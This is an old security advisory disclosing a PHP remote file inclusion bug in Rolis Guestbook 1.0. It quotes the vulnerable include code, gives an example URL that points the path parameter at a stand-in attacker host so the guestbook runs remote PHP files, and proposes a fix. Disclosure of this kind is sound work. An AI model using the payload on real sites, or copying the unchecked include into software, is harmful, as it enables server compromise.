############ ###################### ####################
################### ######################## #########################
###################### ##### #### #### ##################
#### #### #### ##### ###### ## #####
### ###### ######## ################# ################ ######
### ####### ### ######## ################ ############## ######
### ## ############### #### ######## #######
### ##### ######## ################## #### ######## #######
### ####### ###### ################## #### ###### #######
### ########## #### #### ########### #### ##### ########
### ##### ###### #### ####### ####### #############
######## ########## ###################### ##########
####### ######## ################# ######
##### RusH security team | http://www.rsteam.ru

o----------------------------=[ Advisory #13 ]=----------------------------o
oxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxo
o-----------------------------------------------------------------------
---o
| Product: Rolis Guestbook |
| Version: 1.0 |
| Vulnerability: PHP injection |
| Vendor: Koch Roland (roli.ko (at) gmx (dot) at [email concealed]) |
| OffSite: www.roli.at |
| Vendor status: The vendor has been informed |
o-----------------------------------------------------------------------
---o
| Date: 16/11/2003 |
| Author: 1dt.w0lf // RsT |
o-----------------------------------------------------------------------
---o

o-------------------------=[ Problem ]:::

Bug found in file insert.inc.php
Script don't check $path before including files:

<?php
include ($path . "data.inc.php");
include ($path . "header.inc.php");
include($path . "connection_data.inc.php");
[ scip ]

o-------------------------=[ Example ]:::

Example:
www.site.com/rolis_book_path/insert.inc.php?path=http://hacker.com/

where hackers files:
http://hacker.com/data.inc.php
http://hacker.com/header.inc.php
http://hacker.com/connection_data.inc.php

o------------------------=[ Solution ]:::

Edit insert.inc.php:
<?php
include ("path.inc.php"); <-- insert this line
include ($path . "data.inc.php");
...

o--------------------=[ for contacts ]:::

1dt.w0lf - idtwolf[at]pisem[dot]net
RusH team - r00t[at]rsteam[dot]ru
web - www.rsteam.ru

o------------------------------=[ RU ]:::

U can find ru version of this advisory here:
http://rst.void.ru/texts/advisory13.htm

o---------------------------------=[ EOF ]=--------------------------------o

[ reply ]